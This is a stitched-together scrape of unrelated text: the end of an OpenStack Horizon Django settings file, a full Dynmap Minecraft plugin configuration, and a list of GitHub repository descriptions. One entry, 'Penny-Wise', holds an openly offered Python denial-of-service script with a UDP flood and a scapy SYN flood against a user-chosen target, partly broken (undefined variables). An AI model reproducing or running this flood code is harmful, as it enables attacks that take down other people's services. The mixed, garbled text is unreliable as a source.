AVAILABLE_THEMES, DEFAULT_THEME, SELECTABLE_THEMES ) ) # Discover all the directories that contain static files STATICFILES_DIRS = theme_settings.get_theme_static_dirs( AVAILABLE_THEMES, THEME_COLLECTION_DIR, ROOT_PATH) # Ensure that we always have a SECRET_KEY set, even when no local_settings.py # file is present. See local_settings.py.example for full documentation on the # horizon.utils.secret_key module and its use. if not SECRET_KEY: if not LOCAL_PATH: LOCAL_PATH = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'local') # pylint: disable=ungrouped-imports from horizon.utils import secret_key SECRET_KEY = secret_key.generate_or_read_from_file(os.path.join(LOCAL_PATH, '.secret_key_store')) # populate HORIZON_CONFIG with auto-discovered JavaScript sources, mock files, # specs files and external templates. settings_utils.find_static_files(HORIZON_CONFIG, AVAILABLE_THEMES, THEME_COLLECTION_DIR, ROOT_PATH) INSTALLED_APPS = list(INSTALLED_APPS) # Make sure it's mutable settings_utils.update_dashboards( [ enabled, local_enabled, ], HORIZON_CONFIG, INSTALLED_APPS, ) INSTALLED_APPS[0:0] = ADD_INSTALLED_APPS NG_TEMPLATE_CACHE_AGE = NG_TEMPLATE_CACHE_AGE if not DEBUG else 0 # Include xstatic_modules specified in plugin XSTATIC_MODULES += HORIZON_CONFIG['xstatic_modules'] # Discover all the xstatic module entry points to embed in our HTML STATICFILES_DIRS += settings_utils.get_xstatic_dirs( XSTATIC_MODULES, HORIZON_CONFIG) # This base context objects gets added to the offline context generator # for each theme configured. HORIZON_COMPRESS_OFFLINE_CONTEXT_BASE = { 'WEBROOT': WEBROOT, 'STATIC_URL': STATIC_URL, 'HORIZON_CONFIG': HORIZON_CONFIG, 'NG_TEMPLATE_CACHE_AGE': NG_TEMPLATE_CACHE_AGE, } if DEBUG: logging.basicConfig(level=logging.DEBUG) # Here comes the Django settings deprecation section. Being at the very end # of settings.py allows it to catch the settings defined in local_settings.py # or inside one of local_settings.d/ snippets.
Nixy1234
# All paths in this configuration file are relative to Dynmap's data-folder: minecraft_server/dynmap/ # All map templates are defined in the templates directory # To use the HDMap very-low-res (2 ppb) map templates as world defaults, set value to vlowres # The definitions of these templates are in normal-vlowres.txt, nether-vlowres.txt, and the_end-vlowres.txt # To use the HDMap low-res (4 ppb) map templates as world defaults, set value to lowres # The definitions of these templates are in normal-lowres.txt, nether-lowres.txt, and the_end-lowres.txt # To use the HDMap hi-res (16 ppb) map templates (these can take a VERY long time for initial fullrender), set value to hires # The definitions of these templates are in normal-hires.txt, nether-hires.txt, and the_end-hires.txt # To use the HDMap low-res (4 ppb) map templates, with support for boosting resolution selectively to hi-res (16 ppb), set value to low_boost_hi # The definitions of these templates are in normal-low_boost_hi.txt, nether-low_boost_hi.txt, and the_end-low_boost_hi.txt # To use the HDMap hi-res (16 ppb) map templates, with support for boosting resolution selectively to vhi-res (32 ppb), set value to hi_boost_vhi # The definitions of these templates are in normal-hi_boost_vhi.txt, nether-hi_boost_vhi.txt, and the_end-hi_boost_vhi.txt # To use the HDMap hi-res (16 ppb) map templates, with support for boosting resolution selectively to xhi-res (64 ppb), set value to hi_boost_xhi # The definitions of these templates are in normal-hi_boost_xhi.txt, nether-hi_boost_xhi.txt, and the_end-hi_boost_xhi.txt deftemplatesuffix: lowres # Map storage scheme: only uncommoent one 'type' value # filetree: classic and default scheme: tree of files, with all map data under the directory indicated by 'tilespath' setting # sqlite: single SQLite database file (this can get VERY BIG), located at 'dbfile' setting (default is file dynmap.db in data directory) # mysql: MySQL database, at hostname:port in database, accessed via userid with password # mariadb: MariaDB database, at hostname:port in database, accessed via userid with password # postgres: PostgreSQL database, at hostname:port in database, accessed via userid with password storage: # Filetree storage (standard tree of image files for maps) type: filetree # SQLite db for map storage (uses dbfile as storage location) #type: sqlite #dbfile: dynmap.db # MySQL DB for map storage (at 'hostname':'port' in database 'database' using user 'userid' password 'password' and table prefix 'prefix' #type: mysql #hostname: localhost #port: 3306 #database: dynmap #userid: dynmap #password: dynmap #prefix: "" components: - class: org.dynmap.ClientConfigurationComponent - class: org.dynmap.InternalClientUpdateComponent sendhealth: true sendposition: true allowwebchat: true webchat-interval: 5 hidewebchatip: false trustclientname: false includehiddenplayers: false # (optional) if true, color codes in player display names are used use-name-colors: false # (optional) if true, player login IDs will be used for web chat when their IPs match use-player-login-ip: true # (optional) if use-player-login-ip is true, setting this to true will cause chat messages not matching a known player IP to be ignored require-player-login-ip: false # (optional) block player login IDs that are banned from chatting block-banned-player-chat: true # Require login for web-to-server chat (requires login-enabled: true) webchat-requires-login: false # If set to true, users must have dynmap.webchat permission in order to chat webchat-permissions: false # Limit length of single chat messages chatlengthlimit: 256 # # Optional - make players hidden when they are inside/underground/in shadows (#=light level: 0=full shadow,15=sky) # hideifshadow: 4 # # Optional - make player hidden when they are under cover (#=sky light level,0=underground,15=open to sky) # hideifundercover: 14 # # (Optional) if true, players that are crouching/sneaking will be hidden hideifsneaking: false # If true, player positions/status is protected (login with ID with dynmap.playermarkers.seeall permission required for info other than self) protected-player-info: false # If true, hide players with invisibility potion effects active hide-if-invisiblity-potion: true # If true, player names are not shown on map, chat, list hidenames: false #- class: org.dynmap.JsonFileClientUpdateComponent # writeinterval: 1 # sendhealth: true # sendposition: true # allowwebchat: true # webchat-interval: 5 # hidewebchatip: false # includehiddenplayers: false # use-name-colors: false # use-player-login-ip: false # require-player-login-ip: false # block-banned-player-chat: true # hideifshadow: 0 # hideifundercover: 0 # hideifsneaking: false # # Require login for web-to-server chat (requires login-enabled: true) # webchat-requires-login: false # # If set to true, users must have dynmap.webchat permission in order to chat # webchat-permissions: false # # Limit length of single chat messages # chatlengthlimit: 256 # hide-if-invisiblity-potion: true # hidenames: false - class: org.dynmap.SimpleWebChatComponent allowchat: true # If true, web UI users can supply name for chat using 'playername' URL parameter. 'trustclientname' must also be set true. allowurlname: false # Note: this component is needed for the dmarker commands, and for the Marker API to be available to other plugins - class: org.dynmap.MarkersComponent type: markers showlabel: false enablesigns: false # Default marker set for sign markers default-sign-set: markers # (optional) add spawn point markers to standard marker layer showspawn: true spawnicon: world spawnlabel: "Spawn" # (optional) layer for showing offline player's positions (for 'maxofflinetime' minutes after logoff) showofflineplayers: false offlinelabel: "Offline" offlineicon: offlineuser offlinehidebydefault: true offlineminzoom: 0 maxofflinetime: 30 # (optional) layer for showing player's spawn beds showspawnbeds: false spawnbedlabel: "Spawn Beds" spawnbedicon: bed spawnbedhidebydefault: true spawnbedminzoom: 0 spawnbedformat: "%name%'s bed" # (optional) Show world border (vanilla 1.8+) showworldborder: true worldborderlabel: "Border" - class: org.dynmap.ClientComponent type: chat allowurlname: false - class: org.dynmap.ClientComponent type: chatballoon focuschatballoons: false - class: org.dynmap.ClientComponent type: chatbox showplayerfaces: true messagettl: 5 # Optional: set number of lines in scrollable message history: if set, messagettl is not used to age out messages #scrollback: 100 # Optional: set maximum number of lines visible for chatbox #visiblelines: 10 # Optional: send push button sendbutton: false - class: org.dynmap.ClientComponent type: playermarkers showplayerfaces: true showplayerhealth: true # If true, show player body too (only valid if showplayerfaces=true showplayerbody: false # Option to make player faces small - don't use with showplayerhealth smallplayerfaces: false # Optional - make player faces layer hidden by default hidebydefault: false # Optional - ordering priority in layer menu (low goes before high - default is 0) layerprio: 0 # Optional - label for player marker layer (default is 'Players') label: "Players" #- class: org.dynmap.ClientComponent # type: digitalclock - class: org.dynmap.ClientComponent type: link - class: org.dynmap.ClientComponent type: timeofdayclock showdigitalclock: true #showweather: true # Mouse pointer world coordinate display - class: org.dynmap.ClientComponent type: coord label: "Location" hidey: false show-mcr: false show-chunk: false # Note: more than one logo component can be defined #- class: org.dynmap.ClientComponent # type: logo # text: "Dynmap" # #logourl: "images/block_surface.png" # linkurl: "http://forums.bukkit.org/threads/dynmap.489/" # # Valid positions: top-left, top-right, bottom-left, bottom-right # position: bottom-right #- class: org.dynmap.ClientComponent # type: inactive # timeout: 1800 # in seconds (1800 seconds = 30 minutes) # redirecturl: inactive.html # #showmessage: 'You were inactive for too long.' #- class: org.dynmap.TestComponent # stuff: "This is some configuration-value" # Treat hiddenplayers.txt as a whitelist for players to be shown on the map? (Default false) display-whitelist: false # How often a tile gets rendered (in seconds). renderinterval: 1 # How many tiles on update queue before accelerate render interval renderacceleratethreshold: 60 # How often to render tiles when backlog is above renderacceleratethreshold renderaccelerateinterval: 0.2 # How many update tiles to work on at once (if not defined, default is 1/2 the number of cores) tiles-rendered-at-once: 2 # If true, use normal priority threads for rendering (versus low priority) - this can keep rendering # from starving on busy Windows boxes (Linux JVMs pretty much ignore thread priority), but may result # in more competition for CPU resources with other processes usenormalthreadpriority: true # Save and restore pending tile renders - prevents their loss on server shutdown or /reload saverestorepending: true # Save period for pending jobs (in seconds): periodic saving for crash recovery of jobs save-pending-period: 900 # Zoom-out tile update period - how often to scan for and process tile updates into zoom-out tiles (in seconds) zoomoutperiod: 30 # Control whether zoom out tiles are validated on startup (can be needed if zoomout processing is interrupted, but can be expensive on large maps) initial-zoomout-validate: true # Default delay on processing of updated tiles, in seconds. This can reduce potentially expensive re-rendering # of frequently updated tiles (such as due to machines, pistons, quarries or other automation). Values can # also be set on individual worlds and individual maps. tileupdatedelay: 30 # Tile hashing is used to minimize tile file updates when no changes have occurred - set to false to disable enabletilehash: true # Optional - hide ores: render as normal stone (so that they aren't revealed by maps) #hideores: true # Optional - enabled BetterGrass style rendering of grass and snow block sides #better-grass: true # Optional - enable smooth lighting by default on all maps supporting it (can be set per map as lighting option) smooth-lighting: true # Optional - use world provider lighting table (good for custom worlds with custom lighting curves, like nether) # false=classic Dynmap lighting curve use-brightness-table: true # Optional - render specific block names using the textures and models of another block name: can be used to hide/disguise specific # blocks (e.g. make ores look like stone, hide chests) or to provide simple support for rendering unsupported custom blocks block-alias: # "minecraft:quartz_ore": "stone" # "diamond_ore": "coal_ore" # Default image format for HDMaps (png, jpg, jpg-q75, jpg-q80, jpg-q85, jpg-q90, jpg-q95, jpg-q100, webp, webp-q75, webp-q80, webp-q85, webp-q90, webp-q95, webp-q100), # Note: any webp format requires the presence of the 'webp command line tools' (cwebp, dwebp) (https://developers.google.com/speed/webp/download) # # Has no effect on maps with explicit format settings image-format: jpg-q90 # If cwebp or dwebp are not on the PATH, use these settings to provide their full path. Do not use these settings if the tools are on the PATH # For Windows, include .exe # #cwebpPath: /usr/bin/cwebp #dwebpPath: /usr/bin/dwebp # use-generated-textures: if true, use generated textures (same as client); false is static water/lava textures # correct-water-lighting: if true, use corrected water lighting (same as client); false is legacy water (darker) # transparent-leaves: if true, leaves are transparent (lighting-wise): false is needed for some Spout versions that break lighting on leaf blocks use-generated-textures: true correct-water-lighting: true transparent-leaves: true # ctm-support: if true, Connected Texture Mod (CTM) in texture packs is enabled (default) ctm-support: true # custom-colors-support: if true, Custom Colors in texture packs is enabled (default) custom-colors-support: true # Control loading of player faces (if set to false, skins are never fetched) #fetchskins: false # Control updating of player faces, once loaded (if faces are being managed by other apps or manually) #refreshskins: false # Customize URL used for fetching player skins (%player% is macro for name) skin-url: "http://skins.minecraft.net/MinecraftSkins/%player%.png" # Control behavior for new (1.0+) compass orientation (sunrise moved 90 degrees: east is now what used to be south) # default is 'newrose' (preserve pre-1.0 maps, rotate rose) # 'newnorth' is used to rotate maps and rose (requires fullrender of any HDMap map - same as 'newrose' for FlatMap or KzedMap) compass-mode: newnorth # Triggers for automatic updates : blockupdate-with-id is debug for breaking down updates by ID:meta # To disable, set just 'none' and comment/delete the rest render-triggers: - blockupdate #- blockupdate-with-id #- lightingupdate - chunkpopulate - chunkgenerate #- none # Title for the web page - if not specified, defaults to the server's name (unless it is the default of 'Unknown Server') #webpage-title: "My Awesome Server Map" # The path where the tile-files are placed. tilespath: web/tiles # The path where the web-files are located. webpath: web # The path were the /dynmapexp command exports OBJ ZIP files exportpath: export # The network-interface the webserver will bind to (0.0.0.0 for all interfaces, 127.0.0.1 for only local access). # If not set, uses same setting as server in server.properties (or 0.0.0.0 if not specified) #webserver-bindaddress: 0.0.0.0 # The TCP-port the webserver will listen on. webserver-port: 8123 # Maximum concurrent session on internal web server - limits resources used in Bukkit server max-sessions: 30 # Disables Webserver portion of Dynmap (Advanced users only) disable-webserver: false # Enable/disable having the web server allow symbolic links (true=compatible with existing code, false=more secure (default)) allow-symlinks: true # Enable login support login-enabled: false # Require login to access website (requires login-enabled: true) login-required: false # Period between tile renders for fullrender, in seconds (non-zero to pace fullrenders, lessen CPU load) timesliceinterval: 0.0 # Maximum chunk loads per server tick (1/20th of a second) - reducing this below 90 will impact render performance, but also will reduce server thread load maxchunkspertick: 200 # Progress report interval for fullrender/radiusrender, in tiles. Must be 100 or greater progressloginterval: 100 # Parallel fullrender: if defined, number of concurrent threads used for fullrender or radiusrender # Note: setting this will result in much more intensive CPU use, some additional memory use. Caution should be used when # setting this to equal or exceed the number of physical cores on the system. #parallelrendercnt: 4 # Interval the browser should poll for updates. updaterate: 2000 # If nonzero, server will pause fullrender/radiusrender processing when 'fullrenderplayerlimit' or more users are logged in fullrenderplayerlimit: 0 # If nonzero, server will pause update render processing when 'updateplayerlimit' or more users are logged in updateplayerlimit: 0 # Target limit on server thread use - msec per tick per-tick-time-limit: 50 # If TPS of server is below this setting, update renders processing is paused update-min-tps: 18.0 # If TPS of server is below this setting, full/radius renders processing is paused fullrender-min-tps: 18.0 # If TPS of server is below this setting, zoom out processing is paused zoomout-min-tps: 18.0 showplayerfacesinmenu: true # Control whether players that are hidden or not on current map are grayed out (true=yes) grayplayerswhenhidden: true # Set sidebaropened: 'true' to pin menu sidebar opened permanently, 'pinned' to default the sidebar to pinned, but allow it to unpin #sidebaropened: true # Customized HTTP response headers - add 'id: value' pairs to all HTTP response headers (internal web server only) #http-response-headers: # Access-Control-Allow-Origin: "my-domain.com" # X-Custom-Header-Of-Mine: "MyHeaderValue" # Trusted proxies for web server - which proxy addresses are trusted to supply valid X-Forwarded-For fields trusted-proxies: - "127.0.0.1" - "0:0:0:0:0:0:0:1" joinmessage: "%playername% joined" quitmessage: "%playername% quit" spammessage: "You may only chat once every %interval% seconds." # format for messages from web: %playername% substitutes sender ID (typically IP), %message% includes text webmsgformat: "&color;2[WEB] %playername%: &color;f%message%" # Control whether layer control is presented on the UI (default is true) showlayercontrol: true # Enable checking for banned IPs via banned-ips.txt (internal web server only) check-banned-ips: true # Default selection when map page is loaded defaultzoom: 0 defaultworld: world defaultmap: flat # (optional) Zoom level and map to switch to when following a player, if possible #followzoom: 3 #followmap: surface # If true, make persistent record of IP addresses used by player logins, to support web IP to player matching persist-ids-by-ip: true # If true, map text to cyrillic cyrillic-support: false # Messages to customize msg: maptypes: "Map Types" players: "Players" chatrequireslogin: "Chat Requires Login" chatnotallowed: "You are not permitted to send chat messages" hiddennamejoin: "Player joined" hiddennamequit: "Player quit" # URL for client configuration (only need to be tailored for proxies or other non-standard configurations) url: # configuration URL #configuration: "up/configuration" # update URL #update: "up/world/{world}/{timestamp}" # sendmessage URL #sendmessage: "up/sendmessage" # login URL #login: "up/login" # register URL #register: "up/register" # tiles base URL #tiles: "tiles/" # markers base URL #markers: "tiles/" # Snapshot cache size, in chunks snapshotcachesize: 500 # Snapshot cache uses soft references (true), else weak references (false) soft-ref-cache: true # Player enter/exit title messages for map markers # # Processing period - how often to check player positions vs markers - default is 1000ms (1 second) #enterexitperiod: 1000 # Title message fade in time, in ticks (0.05 second intervals) - default is 10 (1/2 second) #titleFadeIn: 10 # Title message stay time, in ticks (0.05 second intervals) - default is 70 (3.5 seconds) #titleStay: 70 # Title message fade out time, in ticks (0.05 seocnd intervals) - default is 20 (1 second) #titleFadeOut: 20 # Enter/exit messages use on screen titles (true - default), if false chat messages are sent instead #enterexitUseTitle: true # Set true if new enter messages should supercede pending exit messages (vs being queued in order), default false #enterReplacesExits: true # Set to true to enable verbose startup messages - can help with debugging map configuration problems # Set to false for a much quieter startup log verbose: false # Enables debugging. #debuggers: # - class: org.dynmap.debug.LogDebugger # Debug: dump blocks missing render data dump-missing-blocks: false
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nbget is a multi-thread downloader which can use many different proxies and wisely manages their work loads.
sheldonblewis
fused CUDA kernel implementing matmul → ReLU → row-wise normalization using shared-memory tiling, unrolled inner loops, and basic block-level reductions. tiling for improved memory locality, minimizing global memory traffic, coordinating threads for per-row statistics, single launch for the entire fused pipeline.
sp1nxx
Penny-Wise is a stress testinh hard hiting Denial Of service Script Made in Python here is the script ___ ___ ___ ___ ___ ___ | )|___)| )| )\ ) | )| |___ |___) |__/ |__ | / | / \_/ |/\/ | __/ |__ | / """ ) print ("*" * 60) print (" ̫̣̘̲͓" ) print ("*" * 60, "red") print (""" choose request 1. udp flood (for ppl) 2. synflood (for web sites **2 ONLY WORKS ON KALI LINUX**)""") type = raw_input("penny Wise> ") if type == "1": import socket import os import time import random import sys client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) bytes = random._urandom(1024) victim = raw_input("enter ip or website: ") vport = input(" port: ") duration = input("time(in secs): ") timeout = time.time() + duration sent = 0 print (""" **************************************************** Dos attack starting. Sit back and ejoy the show ****************************************************""") while 1: if time.time() > timeout: break else: pass client.sendto(bytes, (victim, vport)) sent = sent + 1 sys.stdout.write("\r% d packets sent " % sent) sys.stdout.flush() if type == "2": import socket, random, sys, threading from scapy.all import * total = 0 target1 = raw_input("targets site: ") port = input("port: ") class SendHTTP(threading.Thread): global target, port def __init__(self): threading.Thread.__init__(self) def run(self): i = IP() i.dst = target1 t = TCP() t.sport = random.randint(1,65535) t.dport = port f.flags = 's' send(i/t, verbose=0) print (""" ******************************************************** Dos attack starting. Sit back and ejoy the show ******************************************************""") while 1: SendHTTP(POST).start() total = total + 1 sys.stdout.write("\r packets sent %i" % total)
nav-nandan
Scalable (row-wise parallel) matrix multiplier using multi-threading
khadija-messah
No description available
kumarguddu609
ThreadWise is an AI-enhanced discussion forum designed to foster community interaction with the added intelligence of ChatGPT. Users can create threads, post questions, and reply to others, with an innovative twist: AI-generated responses can be requested for every discussion, providing expert-level insights.
shiahoilam
No description available
SuhaasNv
Automates oil & gas completion workflows: pulls vendor connection specs (e.g. VAM, Hydril) with Playwright, runs body calculations and deterministic MIN logic, and fills engineering release Excel templates—Python, Pydantic, traceable pipeline.
aaditya0004
ThreadWise is a modern, full-stack email client that unifies your inboxes and uses Local AI (LLMs) to categorize, index, and understand your communications. Say goodbye to information overload.
Sakkary
No description available
Mahdi-sr95
AI-Powered Study Planner Project for CSI Course
Hafsa-hm
A sustainable clothing business
Hafsa-hm
Threadwise is a sustainable and eco- friendly clothing business which is targeted towards young adults
Hafsa-hm
It is a sustainable clothing business and their aim is to make sure style does not cost the earth.
Hafsa-hm
Threadwise is a sustainable business that sells eco-friendly clothing pieces.
cooker
线程池
AI-Powered Study Planner Project for CSI Course
Shivu2450
No description available
NileshSuthar-Acute
row-wise chat/conversion thread POc
soenneker
A thread-safe utility for obtaining Wise's OpenApiClient singleton.
Hafsa-hm
Thread wise is a sustainable eco friendly and affordable business.